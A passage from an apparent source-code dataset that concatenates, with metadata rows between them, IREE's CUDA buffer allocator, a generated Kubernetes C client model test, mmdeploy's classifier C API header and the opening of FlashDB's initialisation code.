IREE_RETURN_AND_END_ZONE_IF_ERROR(
z0,
CU_RESULT_TO_STATUS(
context->syms,
cuDeviceGetAttribute(
&supports_read_only_host_register,
CU_DEVICE_ATTRIBUTE_READ_ONLY_HOST_REGISTER_SUPPORTED, device),
"cuDeviceGetAttribute"));
IREE_TRACE_ZONE_APPEND_TEXT(z0, supports_read_only_host_register
? "has READ_ONLY_HOST_REGISTER_SUPPORTED"
: "no READ_ONLY_HOST_REGISTER_SUPPORTED");
iree_hal_cuda_allocator_t* allocator = NULL;
iree_status_t status = iree_allocator_malloc(
context->host_allocator, sizeof(*allocator), (void**)&allocator);
if (iree_status_is_ok(status)) {
iree_hal_resource_initialize(&iree_hal_cuda_allocator_vtable,
&allocator->resource);
allocator->context = context;
allocator->device = device;
allocator->stream = stream;
allocator->pools = pools;
allocator->supports_concurrent_managed_access =
supports_concurrent_managed_access != 0;
allocator->supports_read_only_host_register =
supports_read_only_host_register != 0;
*out_allocator = (iree_hal_allocator_t*)allocator;
}
IREE_TRACE_ZONE_END(z0);
return status;
}
static void iree_hal_cuda_allocator_destroy(
iree_hal_allocator_t* IREE_RESTRICT base_allocator) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
iree_allocator_t host_allocator = allocator->context->host_allocator;
IREE_TRACE_ZONE_BEGIN(z0);
iree_allocator_free(host_allocator, allocator);
IREE_TRACE_ZONE_END(z0);
}
static iree_allocator_t iree_hal_cuda_allocator_host_allocator(
const iree_hal_allocator_t* IREE_RESTRICT base_allocator) {
iree_hal_cuda_allocator_t* allocator =
(iree_hal_cuda_allocator_t*)base_allocator;
return allocator->context->host_allocator;
}
static iree_status_t iree_hal_cuda_allocator_trim(
iree_hal_allocator_t* IREE_RESTRICT base_allocator) {
return iree_ok_status();
}
static void iree_hal_cuda_allocator_query_statistics(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
iree_hal_allocator_statistics_t* IREE_RESTRICT out_statistics) {
IREE_STATISTICS({
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
memcpy(out_statistics, &allocator->statistics, sizeof(*out_statistics));
if (allocator->pools) {
iree_hal_cuda_memory_pools_merge_statistics(allocator->pools,
out_statistics);
}
});
}
static iree_status_t iree_hal_cuda_allocator_query_memory_heaps(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
iree_host_size_t capacity,
iree_hal_allocator_memory_heap_t* IREE_RESTRICT heaps,
iree_host_size_t* IREE_RESTRICT out_count) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
// TODO(benvanik): check CU_DEVICE_ATTRIBUTE_INTEGRATED and return a unified
// set of heaps (likely still a cached and uncached, at minimum).
iree_host_size_t count = 3;
if (allocator->supports_concurrent_managed_access) {
++count; // device-local | host-visible
}
if (out_count) *out_count = count;
if (capacity < count) {
// NOTE: lightweight as this is hit in normal pre-sizing usage.
return iree_status_from_code(IREE_STATUS_OUT_OF_RANGE);
}
// Don't think there's a query for these.
// Max allocation size may be much smaller in certain memory types such as
// page-locked memory and it'd be good to enforce that.
const iree_device_size_t max_allocation_size = ~(iree_device_size_t)0;
const iree_device_size_t min_alignment = 64;
int i = 0;
// Device-local memory (dispatch resources):
heaps[i++] = (iree_hal_allocator_memory_heap_t){
.type = IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL,
.allowed_usage =
IREE_HAL_BUFFER_USAGE_TRANSFER | IREE_HAL_BUFFER_USAGE_DISPATCH,
.max_allocation_size = max_allocation_size,
.min_alignment = min_alignment,
};
if (allocator->supports_concurrent_managed_access) {
// Device-local managed memory with host mapping support:
heaps[i++] = (iree_hal_allocator_memory_heap_t){
.type = IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL |
IREE_HAL_MEMORY_TYPE_HOST_VISIBLE |
IREE_HAL_MEMORY_TYPE_HOST_COHERENT,
.allowed_usage = IREE_HAL_BUFFER_USAGE_TRANSFER |
IREE_HAL_BUFFER_USAGE_DISPATCH |
IREE_HAL_BUFFER_USAGE_MAPPING,
.max_allocation_size = max_allocation_size,
.min_alignment = min_alignment,
};
}
// Write-combined page-locked host-local memory (upload):
heaps[i++] = (iree_hal_allocator_memory_heap_t){
.type = IREE_HAL_MEMORY_TYPE_DEVICE_VISIBLE |
IREE_HAL_MEMORY_TYPE_HOST_LOCAL |
IREE_HAL_MEMORY_TYPE_HOST_COHERENT,
.allowed_usage = IREE_HAL_BUFFER_USAGE_TRANSFER |
IREE_HAL_BUFFER_USAGE_DISPATCH |
IREE_HAL_BUFFER_USAGE_MAPPING,
.max_allocation_size = max_allocation_size,
.min_alignment = min_alignment,
};
// Cached page-locked host-local memory (download):
heaps[i++] = (iree_hal_allocator_memory_heap_t){
.type = IREE_HAL_MEMORY_TYPE_DEVICE_VISIBLE |
IREE_HAL_MEMORY_TYPE_HOST_LOCAL |
IREE_HAL_MEMORY_TYPE_HOST_COHERENT |
IREE_HAL_MEMORY_TYPE_HOST_CACHED,
.allowed_usage = IREE_HAL_BUFFER_USAGE_TRANSFER |
IREE_HAL_BUFFER_USAGE_DISPATCH |
IREE_HAL_BUFFER_USAGE_MAPPING,
.max_allocation_size = max_allocation_size,
.min_alignment = min_alignment,
};
IREE_ASSERT(i == count);
return iree_ok_status();
}
static iree_hal_buffer_compatibility_t
iree_hal_cuda_allocator_query_buffer_compatibility(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
iree_hal_buffer_params_t* IREE_RESTRICT params,
iree_device_size_t* IREE_RESTRICT allocation_size) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
// All buffers can be allocated on the heap.
iree_hal_buffer_compatibility_t compatibility =
IREE_HAL_BUFFER_COMPATIBILITY_ALLOCATABLE;
// Buffers are importable in CUDA under most cases, though performance may
// vary wildly. We don't fully verify that the buffer parameters are
// self-consistent and just look at whether we can get a device pointer.
if (iree_all_bits_set(params->type, IREE_HAL_MEMORY_TYPE_DEVICE_VISIBLE)) {
compatibility |= IREE_HAL_BUFFER_COMPATIBILITY_IMPORTABLE;
}
// Buffers can only be used on the queue if they are device visible.
if (iree_all_bits_set(params->type, IREE_HAL_MEMORY_TYPE_DEVICE_VISIBLE)) {
if (iree_any_bit_set(params->usage, IREE_HAL_BUFFER_USAGE_TRANSFER)) {
compatibility |= IREE_HAL_BUFFER_COMPATIBILITY_QUEUE_TRANSFER;
}
if (iree_any_bit_set(params->usage,
IREE_HAL_BUFFER_USAGE_DISPATCH_STORAGE)) {
compatibility |= IREE_HAL_BUFFER_COMPATIBILITY_QUEUE_DISPATCH;
}
}
// If concurrent managed access is not supported then make device-local +
// host-visible allocations fall back to host-local + device-visible
// page-locked memory. This will be significantly slower for the device to
// access but the compiler only uses this type for readback staging buffers
// and it's better to function than function fast.
if (!allocator->supports_concurrent_managed_access &&
iree_all_bits_set(params->type, IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL |
IREE_HAL_MEMORY_TYPE_HOST_VISIBLE)) {
compatibility |= IREE_HAL_BUFFER_COMPATIBILITY_LOW_PERFORMANCE;
params->type &= ~(IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL |
IREE_HAL_MEMORY_TYPE_HOST_VISIBLE);
params->type |=
IREE_HAL_MEMORY_TYPE_HOST_LOCAL | IREE_HAL_MEMORY_TYPE_DEVICE_VISIBLE;
}
// We are now optimal.
params->type &= ~IREE_HAL_MEMORY_TYPE_OPTIMAL;
// Guard against the corner case where the requested buffer size is 0. The
// application is unlikely to do anything when requesting a 0-byte buffer; but
// it can happen in real world use cases. So we should at least not crash.
if (*allocation_size == 0) *allocation_size = 4;
return compatibility;
}
static void iree_hal_cuda_buffer_free(iree_hal_cuda_context_wrapper_t* context,
iree_hal_cuda_buffer_type_t buffer_type,
CUdeviceptr device_ptr, void* host_ptr) {
IREE_TRACE_ZONE_BEGIN(z0);
switch (buffer_type) {
case IREE_HAL_CUDA_BUFFER_TYPE_DEVICE: {
IREE_TRACE_ZONE_APPEND_TEXT(z0, "cuMemFree");
CUDA_IGNORE_ERROR(context->syms, cuMemFree(device_ptr));
break;
}
case IREE_HAL_CUDA_BUFFER_TYPE_HOST: {
IREE_TRACE_ZONE_APPEND_TEXT(z0, "cuMemFreeHost");
CUDA_IGNORE_ERROR(context->syms, cuMemFreeHost(host_ptr));
break;
}
case IREE_HAL_CUDA_BUFFER_TYPE_HOST_REGISTERED: {
IREE_TRACE_ZONE_APPEND_TEXT(z0, "cuMemHostUnregister");
CUDA_IGNORE_ERROR(context->syms, cuMemHostUnregister(host_ptr));
break;
}
case IREE_HAL_CUDA_BUFFER_TYPE_ASYNC: {
IREE_TRACE_ZONE_APPEND_TEXT(z0, "(ignored; async)");
break;
}
case IREE_HAL_CUDA_BUFFER_TYPE_EXTERNAL: {
IREE_TRACE_ZONE_APPEND_TEXT(z0, "(ignored; external)");
break;
}
}
IREE_TRACE_ZONE_END(z0);
}
static iree_status_t iree_hal_cuda_allocator_allocate_buffer(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
const iree_hal_buffer_params_t* IREE_RESTRICT params,
iree_device_size_t allocation_size,
iree_hal_buffer_t** IREE_RESTRICT out_buffer) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
// Coerce options into those required by the current device.
iree_hal_buffer_params_t compat_params = *params;
iree_hal_buffer_compatibility_t compatibility =
iree_hal_cuda_allocator_query_buffer_compatibility(
base_allocator, &compat_params, &allocation_size);
if (!iree_all_bits_set(compatibility,
IREE_HAL_BUFFER_COMPATIBILITY_ALLOCATABLE)) {
#if IREE_STATUS_MODE
iree_bitfield_string_temp_t temp0, temp1, temp2;
iree_string_view_t memory_type_str =
iree_hal_memory_type_format(params->type, &temp0);
iree_string_view_t usage_str =
iree_hal_buffer_usage_format(params->usage, &temp1);
iree_string_view_t compatibility_str =
iree_hal_buffer_compatibility_format(compatibility, &temp2);
return iree_make_status(
IREE_STATUS_INVALID_ARGUMENT,
"allocator cannot allocate a buffer with the given parameters; "
"memory_type=%.*s, usage=%.*s, compatibility=%.*s",
(int)memory_type_str.size, memory_type_str.data, (int)usage_str.size,
usage_str.data, (int)compatibility_str.size, compatibility_str.data);
#else
return iree_make_status(
IREE_STATUS_INVALID_ARGUMENT,
"allocator cannot allocate a buffer with the given parameters");
#endif // IREE_STATUS_MODE
}
iree_status_t status = iree_ok_status();
iree_hal_cuda_buffer_type_t buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_DEVICE;
void* host_ptr = NULL;
CUdeviceptr device_ptr = 0;
IREE_TRACE_ZONE_BEGIN_NAMED(z0, "iree_hal_cuda_buffer_allocate");
IREE_TRACE_ZONE_APPEND_VALUE_I64(z0, allocation_size);
if (iree_all_bits_set(compat_params.type,
IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL)) {
// Device local case.
if (iree_all_bits_set(compat_params.type,
IREE_HAL_MEMORY_TYPE_HOST_VISIBLE)) {
buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_DEVICE;
status =
CU_RESULT_TO_STATUS(allocator->context->syms,
cuMemAllocManaged(&device_ptr, allocation_size,
CU_MEM_ATTACH_GLOBAL));
if (iree_status_is_ok(status) &&
allocator->supports_concurrent_managed_access) {
// Prefetch the buffer on the GPU device.
status = CU_RESULT_TO_STATUS(
allocator->context->syms,
cuMemPrefetchAsync(device_ptr, allocation_size, allocator->device,
allocator->stream));
}
host_ptr = (void*)device_ptr;
} else {
// Device only.
buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_DEVICE;
status = CU_RESULT_TO_STATUS(allocator->context->syms,
cuMemAlloc(&device_ptr, allocation_size));
}
} else {
buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_HOST;
unsigned int flags = CU_MEMHOSTALLOC_DEVICEMAP;
if (!iree_all_bits_set(compat_params.type,
IREE_HAL_MEMORY_TYPE_HOST_CACHED)) {
flags |= CU_MEMHOSTALLOC_WRITECOMBINED;
}
status =
CU_RESULT_TO_STATUS(allocator->context->syms,
cuMemHostAlloc(&host_ptr, allocation_size, flags));
if (iree_status_is_ok(status)) {
status = CU_RESULT_TO_STATUS(
allocator->context->syms,
cuMemHostGetDevicePointer(&device_ptr, host_ptr, /*flags=*/0));
}
}
IREE_TRACE_ZONE_END(z0);
iree_hal_buffer_t* buffer = NULL;
if (iree_status_is_ok(status)) {
status = iree_hal_cuda_buffer_wrap(
base_allocator, compat_params.type, compat_params.access,
compat_params.usage, allocation_size,
/*byte_offset=*/0,
/*byte_length=*/allocation_size, buffer_type, device_ptr, host_ptr,
iree_hal_buffer_release_callback_null(),
iree_hal_allocator_host_allocator(base_allocator), &buffer);
}
if (iree_status_is_ok(status)) {
IREE_TRACE_ALLOC_NAMED(IREE_HAL_CUDA_ALLOCATOR_ID,
(void*)iree_hal_cuda_buffer_device_pointer(buffer),
allocation_size);
IREE_STATISTICS(iree_hal_allocator_statistics_record_alloc(
&allocator->statistics, compat_params.type, allocation_size));
*out_buffer = buffer;
} else {
if (!buffer && (device_ptr || host_ptr)) {
iree_hal_cuda_buffer_free(allocator->context, buffer_type, device_ptr,
host_ptr);
} else {
iree_hal_buffer_release(buffer);
}
}
return status;
}
static void iree_hal_cuda_allocator_deallocate_buffer(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
iree_hal_buffer_t* IREE_RESTRICT base_buffer) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
const iree_hal_cuda_buffer_type_t buffer_type =
iree_hal_cuda_buffer_type(base_buffer);
// WARNING: we may be called from a random thread and need to ensure that we
// have an active CUDA context. Unfortunately CUDA is CUDA and trying to
// change the context here will result in full device synchronization. In the
// future we'll need to do something fairly complex such as having a dedicated
// thread with a persistently bound context that does nothing but free
// buffers. The load on this will be lighter when queue-ordered allocations
// are used or any sort of pooling policy is applied.
//
// WARNING: with CUDA's lazy error propagation it's possible that by the time
// this code is running something else has triggered device loss and we can't
// actually use the context. In that case we can't perform the frees and want
// to silently ignore them: whatever the user tries to do next will fail in
// the same way and if we were deallocating this buffer as part of a tear-down
// on failure we don't want to end up dying during cleanup.
iree_hal_cuda_buffer_free(allocator->context, buffer_type,
iree_hal_cuda_buffer_device_pointer(base_buffer),
iree_hal_cuda_buffer_host_pointer(base_buffer));
switch (buffer_type) {
case IREE_HAL_CUDA_BUFFER_TYPE_DEVICE:
case IREE_HAL_CUDA_BUFFER_TYPE_HOST: {
IREE_TRACE_FREE_NAMED(
IREE_HAL_CUDA_ALLOCATOR_ID,
(void*)iree_hal_cuda_buffer_device_pointer(base_buffer));
IREE_STATISTICS(iree_hal_allocator_statistics_record_free(
&allocator->statistics, iree_hal_buffer_memory_type(base_buffer),
iree_hal_buffer_allocation_size(base_buffer)));
break;
}
default:
// Buffer type not tracked.
break;
}
iree_hal_buffer_destroy(base_buffer);
}
static iree_status_t iree_hal_cuda_allocator_import_buffer(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
const iree_hal_buffer_params_t* IREE_RESTRICT params,
iree_hal_external_buffer_t* IREE_RESTRICT external_buffer,
iree_hal_buffer_release_callback_t release_callback,
iree_hal_buffer_t** IREE_RESTRICT out_buffer) {
iree_hal_cuda_allocator_t* allocator =
iree_hal_cuda_allocator_cast(base_allocator);
// Coerce options into those required by the current device.
iree_hal_buffer_params_t compat_params = *params;
iree_device_size_t allocation_size = external_buffer->size;
iree_hal_buffer_compatibility_t compatibility =
iree_hal_cuda_allocator_query_buffer_compatibility(
base_allocator, &compat_params, &allocation_size);
if (!iree_all_bits_set(compatibility,
IREE_HAL_BUFFER_COMPATIBILITY_IMPORTABLE)) {
#if IREE_STATUS_MODE
iree_bitfield_string_temp_t temp0, temp1, temp2;
iree_string_view_t memory_type_str =
iree_hal_memory_type_format(params->type, &temp0);
iree_string_view_t usage_str =
iree_hal_buffer_usage_format(params->usage, &temp1);
iree_string_view_t compatibility_str =
iree_hal_buffer_compatibility_format(compatibility, &temp2);
return iree_make_status(
IREE_STATUS_INVALID_ARGUMENT,
"allocator cannot import a buffer with the given parameters; "
"memory_type=%.*s, usage=%.*s, compatibility=%.*s",
(int)memory_type_str.size, memory_type_str.data, (int)usage_str.size,
usage_str.data, (int)compatibility_str.size, compatibility_str.data);
#else
return iree_make_status(
IREE_STATUS_INVALID_ARGUMENT,
"allocator cannot import a buffer with the given parameters");
#endif // IREE_STATUS_MODE
}
iree_status_t status = iree_ok_status();
iree_hal_cuda_buffer_type_t buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_DEVICE;
void* host_ptr = NULL;
CUdeviceptr device_ptr = 0;
switch (external_buffer->type) {
case IREE_HAL_EXTERNAL_BUFFER_TYPE_HOST_ALLOCATION: {
if (iree_all_bits_set(compat_params.type,
IREE_HAL_MEMORY_TYPE_DEVICE_LOCAL)) {
return iree_make_status(
IREE_STATUS_INVALID_ARGUMENT,
"unable to register host allocations as device-local memory");
}
buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_HOST_REGISTERED;
host_ptr = external_buffer->handle.host_allocation.ptr;
uint32_t register_flags = CU_MEMHOSTREGISTER_DEVICEMAP;
if (compat_params.access == IREE_HAL_MEMORY_ACCESS_READ &&
allocator->supports_read_only_host_register) {
register_flags |= CU_MEMHOSTREGISTER_READ_ONLY;
}
status = CU_RESULT_TO_STATUS(
allocator->context->syms,
cuMemHostRegister(host_ptr, external_buffer->size, register_flags),
"cuMemHostRegister");
if (iree_status_is_ok(status)) {
status = CU_RESULT_TO_STATUS(
allocator->context->syms,
cuMemHostGetDevicePointer(&device_ptr, host_ptr, 0),
"cuMemHostGetDevicePointer");
}
break;
}
case IREE_HAL_EXTERNAL_BUFFER_TYPE_DEVICE_ALLOCATION: {
buffer_type = IREE_HAL_CUDA_BUFFER_TYPE_EXTERNAL;
device_ptr = (CUdeviceptr)external_buffer->handle.device_allocation.ptr;
break;
}
case IREE_HAL_EXTERNAL_BUFFER_TYPE_OPAQUE_FD:
case IREE_HAL_EXTERNAL_BUFFER_TYPE_OPAQUE_WIN32:
return iree_make_status(IREE_STATUS_UNIMPLEMENTED,
"handle-based imports not yet implemented");
default:
return iree_make_status(IREE_STATUS_UNIMPLEMENTED,
"external buffer type not supported");
}
iree_hal_buffer_t* buffer = NULL;
if (iree_status_is_ok(status)) {
status = iree_hal_cuda_buffer_wrap(
base_allocator, compat_params.type, compat_params.access,
compat_params.usage, external_buffer->size,
/*byte_offset=*/0,
/*byte_length=*/external_buffer->size, buffer_type, device_ptr,
host_ptr, release_callback,
iree_hal_allocator_host_allocator(base_allocator), &buffer);
}
if (iree_status_is_ok(status)) {
*out_buffer = buffer;
} else {
if (!buffer && (device_ptr || host_ptr)) {
iree_hal_cuda_buffer_free(allocator->context, buffer_type, device_ptr,
host_ptr);
} else {
iree_hal_buffer_release(buffer);
}
}
return status;
}
static iree_status_t iree_hal_cuda_allocator_export_buffer(
iree_hal_allocator_t* IREE_RESTRICT base_allocator,
iree_hal_buffer_t* IREE_RESTRICT buffer,
iree_hal_external_buffer_type_t requested_type,
iree_hal_external_buffer_flags_t requested_flags,
iree_hal_external_buffer_t* IREE_RESTRICT out_external_buffer) {
iree_hal_cuda_buffer_type_t buffer_type = iree_hal_cuda_buffer_type(buffer);
switch (requested_type) {
case IREE_HAL_EXTERNAL_BUFFER_TYPE_DEVICE_ALLOCATION:
switch (buffer_type) {
case IREE_HAL_CUDA_BUFFER_TYPE_EXTERNAL:
out_external_buffer->flags = requested_flags;
out_external_buffer->type = requested_type;
out_external_buffer->handle.device_allocation.ptr =
iree_hal_cuda_buffer_device_pointer(buffer);
out_external_buffer->size = iree_hal_buffer_allocation_size(buffer);
return iree_ok_status();
default:
return iree_make_status(IREE_STATUS_UNAVAILABLE,
"CUDA buffer type is not supported for "
"export as an external device allocation");
}
default:
return iree_make_status(IREE_STATUS_UNAVAILABLE,
"external buffer type not supported");
}
}
static const iree_hal_allocator_vtable_t iree_hal_cuda_allocator_vtable = {
.destroy = iree_hal_cuda_allocator_destroy,
.host_allocator = iree_hal_cuda_allocator_host_allocator,
.trim = iree_hal_cuda_allocator_trim,
.query_statistics = iree_hal_cuda_allocator_query_statistics,
.query_memory_heaps = iree_hal_cuda_allocator_query_memory_heaps,
.query_buffer_compatibility =
iree_hal_cuda_allocator_query_buffer_compatibility,
.allocate_buffer = iree_hal_cuda_allocator_allocate_buffer,
.deallocate_buffer = iree_hal_cuda_allocator_deallocate_buffer,
.import_buffer = iree_hal_cuda_allocator_import_buffer,
.export_buffer = iree_hal_cuda_allocator_export_buffer,
};
|
613b0a254c05e3e1ee49d398b7c61b7fb960d076
|
e1d9c54e9925e30e388a255b53a93cccad0b94cb
|
/kubernetes/unit-test/test_v1_api_resource.c
|
84fa7a600cea7020739de163728c458cba44c67f
|
[
"Apache-2.0",
"curl"
] |
permissive
|
kubernetes-client/c
|
dd4fd8095485c083e0f40f2b48159b1609a6141b
|
5ac5ff25e9809a92a48111b1f77574b6d040b711
|
refs/heads/master
| 2023-08-13T10:51:03.702497
| 2023-08-07T19:18:32
| 2023-08-07T19:18:32
| 247,958,425
| 127
| 47
|
Apache-2.0
| 2023-09-07T20:07:00
| 2020-03-17T11:59:05
|
C
|
UTF-8
|
C
| false
| false
| 1,784
|
c
|
test_v1_api_resource.c
|
#ifndef v1_api_resource_TEST
#define v1_api_resource_TEST
// the following is to include only the main from the first c file
#ifndef TEST_MAIN
#define TEST_MAIN
#define v1_api_resource_MAIN
#endif // TEST_MAIN
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>
#include "../external/cJSON.h"
#include "../model/v1_api_resource.h"
v1_api_resource_t* instantiate_v1_api_resource(int include_optional);
v1_api_resource_t* instantiate_v1_api_resource(int include_optional) {
v1_api_resource_t* v1_api_resource = NULL;
if (include_optional) {
v1_api_resource = v1_api_resource_create(
list_createList(),
"0",
"0",
"0",
1,
list_createList(),
"0",
"0",
list_createList(),
"0"
);
} else {
v1_api_resource = v1_api_resource_create(
list_createList(),
"0",
"0",
"0",
1,
list_createList(),
"0",
"0",
list_createList(),
"0"
);
}
return v1_api_resource;
}
#ifdef v1_api_resource_MAIN
void test_v1_api_resource(int include_optional) {
v1_api_resource_t* v1_api_resource_1 = instantiate_v1_api_resource(include_optional);
cJSON* jsonv1_api_resource_1 = v1_api_resource_convertToJSON(v1_api_resource_1);
printf("v1_api_resource :\n%s\n", cJSON_Print(jsonv1_api_resource_1));
v1_api_resource_t* v1_api_resource_2 = v1_api_resource_parseFromJSON(jsonv1_api_resource_1);
cJSON* jsonv1_api_resource_2 = v1_api_resource_convertToJSON(v1_api_resource_2);
printf("repeating v1_api_resource:\n%s\n", cJSON_Print(jsonv1_api_resource_2));
}
int main() {
test_v1_api_resource(1);
test_v1_api_resource(0);
printf("Hello world \n");
return 0;
}
#endif // v1_api_resource_MAIN
#endif // v1_api_resource_TEST
|
17d3a3ede2cc6915d7a20371b90287d083ad8e2f
|
0e083f405af00029c9ec31849f0f7f81c56844b5
|
/csrc/mmdeploy/apis/c/mmdeploy/classifier.h
|
54e9d0215b816520eb83826bdcb73c3c9dcb4de0
|
[
"Apache-2.0"
] |
permissive
|
open-mmlab/mmdeploy
|
39b9e7b611caab2c76a6142fcb99f0bf1d92ad24
|
5479c8774f5b88d7ed9d399d4e305cb42cc2e73a
|
refs/heads/main
| 2023-09-01T21:29:25.315371
| 2023-08-31T09:59:29
| 2023-08-31T09:59:29
| 441,467,833
| 2,164
| 605
|
Apache-2.0
| 2023-09-14T10:39:04
| 2021-12-24T13:04:44
|
Python
|
UTF-8
|
C
| false
| false
| 5,729
|
h
|
classifier.h
|
// Copyright (c) OpenMMLab. All rights reserved.
/**
* @file classifier.h
* @brief Interface to MMClassification task
*/
#ifndef MMDEPLOY_CLASSIFIER_H
#define MMDEPLOY_CLASSIFIER_H
#include "mmdeploy/common.h"
#include "mmdeploy/executor.h"
#include "mmdeploy/model.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef struct mmdeploy_classification_t {
int label_id;
float score;
} mmdeploy_classification_t;
typedef struct mmdeploy_classifier* mmdeploy_classifier_t;
/**
* @brief Create classifier's handle
* @param[in] model an instance of mmclassification sdk model created by
* \ref mmdeploy_model_create_by_path or \ref mmdeploy_model_create in \ref model.h
* @param[in] device_name name of device, such as "cpu", "cuda", etc.
* @param[in] device_id id of device.
* @param[out] classifier instance of a classifier, which must be destroyed
* by \ref mmdeploy_classifier_destroy
* @return status of creating classifier's handle
*/
MMDEPLOY_API int mmdeploy_classifier_create(mmdeploy_model_t model, const char* device_name,
int device_id, mmdeploy_classifier_t* classifier);
/**
* @brief Create classifier's handle
* @param[in] model_path path of mmclassification sdk model exported by mmdeploy model converter
* @param[in] device_name name of device, such as "cpu", "cuda", etc.
* @param[in] device_id id of device.
* @param[out] classifier instance of a classifier, which must be destroyed
* by \ref mmdeploy_classifier_destroy
* @return status of creating classifier's handle
*/
MMDEPLOY_API int mmdeploy_classifier_create_by_path(const char* model_path, const char* device_name,
int device_id,
mmdeploy_classifier_t* classifier);
/**
* @brief Use classifier created by \ref mmdeploy_classifier_create_by_path to get label
* information of each image in a batch
* @param[in] classifier classifier's handle created by \ref mmdeploy_classifier_create_by_path
* @param[in] mats a batch of images
* @param[in] mat_count number of images in the batch
* @param[out] results a linear buffer to save classification results of each
* image, which must be freed by \ref mmdeploy_classifier_release_result
* @param[out] result_count a linear buffer with length being \p mat_count to save the number of
* classification results of each image. It must be released by \ref
* mmdeploy_classifier_release_result
* @return status of inference
*/
MMDEPLOY_API int mmdeploy_classifier_apply(mmdeploy_classifier_t classifier,
const mmdeploy_mat_t* mats, int mat_count,
mmdeploy_classification_t** results, int** result_count);
/**
* @brief Release the inference result buffer created \ref mmdeploy_classifier_apply
* @param[in] results classification results buffer
* @param[in] result_count \p results size buffer
* @param[in] count length of \p result_count
*/
MMDEPLOY_API void mmdeploy_classifier_release_result(mmdeploy_classification_t* results,
const int* result_count, int count);
/**
* @brief Destroy classifier's handle
* @param[in] classifier classifier's handle created by \ref mmdeploy_classifier_create_by_path
*/
MMDEPLOY_API void mmdeploy_classifier_destroy(mmdeploy_classifier_t classifier);
/******************************************************************************
* Experimental asynchronous APIs */
/**
* @brief Same as \ref mmdeploy_classifier_create, but allows to control execution context of tasks
* via context
*/
MMDEPLOY_API int mmdeploy_classifier_create_v2(mmdeploy_model_t model, mmdeploy_context_t context,
mmdeploy_classifier_t* classifier);
/**
* @brief Pack classifier inputs into mmdeploy_value_t
* @param[in] mats a batch of images
* @param[in] mat_count number of images in the batch
* @param[out] value the packed value
* @return status of the operation
*/
MMDEPLOY_API int mmdeploy_classifier_create_input(const mmdeploy_mat_t* mats, int mat_count,
mmdeploy_value_t* value);
/**
* @brief Same as \ref mmdeploy_classifier_apply, but input and output are packed in \ref
* mmdeploy_value_t.
*/
MMDEPLOY_API int mmdeploy_classifier_apply_v2(mmdeploy_classifier_t classifier,
mmdeploy_value_t input, mmdeploy_value_t* output);
/**
* @brief Apply classifier asynchronously
* @param[in] classifier handle of the classifier
* @param[in] input input sender that will be consumed by the operation
* @param[out] output output sender
* @return status of the operation
*/
MMDEPLOY_API int mmdeploy_classifier_apply_async(mmdeploy_classifier_t classifier,
mmdeploy_sender_t input,
mmdeploy_sender_t* output);
/**
*
* @param[in] output output obtained by applying a classifier
* @param[out] results a linear buffer containing classification results of each image, released by
* \ref mmdeploy_classifier_release_result
* @param[out] result_count a linear buffer containing the number of results for each input image,
* released by \ref mmdeploy_classifier_release_result
* @return status of the operation
*/
MMDEPLOY_API int mmdeploy_classifier_get_result(mmdeploy_value_t output,
mmdeploy_classification_t** results,
int** result_count);
#ifdef __cplusplus
}
#endif
#endif // MMDEPLOY_CLASSIFIER_H
|
c5d16f38c4bd591a4597e9651835a166ab3bda75
|
33cec2206eb49a1001af848dec4f7179036a4872
|
/src/fdb.c
|
08b47c45ff84f00114d22351a7475afbe36e9497
|
[
"Apache-2.0"
] |
permissive
|
armink/FlashDB
|
c38bc39d98fea14a97da2d019be6cb7df1512d3b
|
3e441f6c26590eb86051826830b19a715d3d7423
|
refs/heads/master
| 2023-08-23T03:11:32.516136
| 2023-08-17T10:01:48
| 2023-08-17T10:01:48
| 266,515,876
| 1,379
| 339
|
Apache-2.0
| 2023-08-17T10:01:49
| 2020-05-24T10:15:56
|
C
|
UTF-8
|
C
| false
| false
| 4,049
|
c
|
fdb.c
|
/*
* Copyright (c) 2020, Armink, <armink.ztl@gmail.com>
*
* SPDX-License-Identifier: Apache-2.0
*/
/**
* @file
* @brief Initialize interface.
*
* Some initialize interface for this library.
*/
#include <flashdb.h>
#include <fdb_low_lvl.h>
#include <string.h>
#include <inttypes.h>
#define FDB_LOG_TAG ""
#if !defined(FDB_USING_FAL_MODE) && !defined(FDB_USING_FILE_MODE)
#error "Please defined the FDB_USING_FAL_MODE or FDB_USING_FILE_MODE macro"
#endif
fdb_err_t _fdb_init_ex(fdb_db_t db, const char *name, const char *path, fdb_db_type type, void *user_data)
{
FDB_ASSERT(db);
FDB_ASSERT(name);
FDB_ASSERT(path);
if (db->init_ok) {
return FDB_NO_ERR;
}
db->name = name;
db->type = type;
db->user_data = user_data;
if (db->file_mode) {
#ifdef FDB_USING_FILE_MODE
/* must set when using file mode */
FDB_ASSERT(db->sec_size != 0);
FDB_ASSERT(db->max_size != 0);
#ifdef FDB_USING_FILE_POSIX_MODE
db->cur_file = -1;
#else
db->cur_file = 0;
#endif
db->storage.dir = path;
FDB_ASSERT(strlen(path) != 0)
#endif
} else {
#ifdef FDB_USING_FAL_MODE
size_t block_size;
/* FAL (Flash Abstraction Layer) initialization */
fal_init();
